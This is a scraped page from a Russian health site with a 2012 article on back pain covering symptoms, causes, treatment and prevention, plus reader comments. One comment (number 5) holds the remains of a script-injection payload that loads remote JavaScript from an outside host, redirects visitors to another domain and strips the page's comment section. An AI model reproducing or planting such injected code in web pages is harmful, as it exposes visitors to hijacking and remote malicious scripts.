Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Боль в спине  >>  Боль в спине
 
Обратная связь
 

Боль в спине

Размер шрифта
20 ноября 2012 00:00
Юрий Малышев
Здоровье инфо
Виктория Ткаченко
Здоровье инфо
  • google_analytics: false
  • Нравится

Боль в спине, к сожалению, знакома многим. Из-за чего чаще всего она возникает и как ее победить?

Боль в спине

Основные симптомы болей в спине

Симптомы варьируются от ощущения покалывания до тупой ноющей боли, не дающей работать. Острая боль чаще всего возникает внезапно после травмы или физической активности. Помните о том, что если вам не становится лучше в течение трех суток – это повод обратиться к врачу. Особенно не стоит затягивать с визитом в клинику, если у вас есть нарушения со стороны работы других органов или систем, а также лихорадка и слабость.

Что провоцирует боль в спине

Прежде всего физическая нагрузка, вызывающая растяжение мышц. Работа, связанная с поднятием тяжелых предметов. В некоторых случаях – нарушение осанки. Также причиной неприятных ощущений в поясничной области может стать и нелегкая сумка, которую вы носите каждый день. Еще одна серьезная виновница боли – грыжа межпозвоночных дисков. Это достаточно опасная патология, поэтому как можно быстрее посетите врача. Диагностика проблемы включает в себя рентгенологическое исследование, компьютерную томографию и ядерно-магнитный резонанс.

Кто же находится в группе риска. В первую очередь люди старше 30 лет, имеющие избыточный вес или тяжелую физическую работу. Также под ударом те, кто ведет малоактивный образ жизни.

Как лечить боль в пояснице

Если у вас растяжение мышц, то вам могут помочь грелка или теплая ванна. Когда боль настолько сильна, что вам трудно встать с постели, можно какое-то время принимать только горизонтальное положение тела. Однако не стоит устраивать себе долгий постельный режим: мышцы теряют тонус, а гибкость снижается. Если боль терпима, то вам могут помочь занятия йогой. А вот к народной медицине, иглоукалыванию и целителям стоит относиться с большой осторожностью, чтобы не навредить себе еще больше. Лечебный массаж показан в большинстве случаев. Только выполнять его должен грамотный специалист.

Чтобы быстрее избавиться от боли, врач иногда рекомендует терапию в виде инъекций. А вот грыжу межпозвоночных дисков нередко лечат только хирургическим путем. Часто оказываются весьма эффективным курс физиотерапевтических процедур.

Как предотвратить появление боли в спине

Контролируйте свой вес. Регулярно, хотя бы несколько раз в неделю, находите время для физической активности. Аккуратно поднимайте тяжелые предметы. Делать это нужно, распределяя нагрузку на ноги, а не спину, т.е. присев. Обеспечьте себе комфортное для спины место работы.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

28 ноября 2012 в 15:08

Комментарий удален за нарушение Правил общения

2 - Гость

15 января 2013 в 21:14

Цитировать   |   Пожаловаться

Боль в спине у меня началась внезапно, после того, как поднял тяжесть. Долго мучился дома, делал разные примочки и припарки, но все же пришлось идти в больницу. Жалею, что не обратился за квалифицированной помощью сразу.

3 - Гость

10 марта 2013 в 21:01

Комментарий удален за нарушение Правил общения

4 - Гость

09 августа 2013 в 23:31

Комментарий удален за нарушение Правил общения

5 - zzzzzz

30 июня 2015 в 23:28

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

6 - Гость

25 февраля 2016 в 17:15

Цитировать   |   Пожаловаться

Мне от болей в спине помогла внутритканевая стимуляция, делала в аксис клинике.. Сама процедура мне очень понравилась, проходит практически безболезненно и длиться всего 30 минут. Чтобы закрепить результат мне назначали курс массажа и ЛФК. Здесь главное не затягивать и во время пройти обследование, чтобы выяснить причину боли.

Статьи

       
Быстрые решения для всего, что болтается и свисает   Сколько лет вашему телу   Как похудеть с помощью скандинавской ходьбы   17-кратный чемпион мира Шаварш Карапетян поддержит детей с первичным иммунодефицитом  
15 мая 2013Ура! Ходить по лестнице так же эффективно для похудения, как ходить в спортивный зал! 04 апреля 2013Когда делать зарядку, чтобы худеть быстрее
 
30 января 2013Хотите не чувствовать боли – спите дольше 29 октября 2012Голые крысы спасут людей от боли
 

Слайдшоу

1
Что скрывает боль в спине. Часть 1
Руководство по предотвращению инсульта
Рассеянный склероз: как узнать врага в лицо

Тесты

1
Какая у вас стадия остеохондроза?
Рискуете ли вы заболеть остеохондрозом?
Как контролировать бронхиальную астму
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.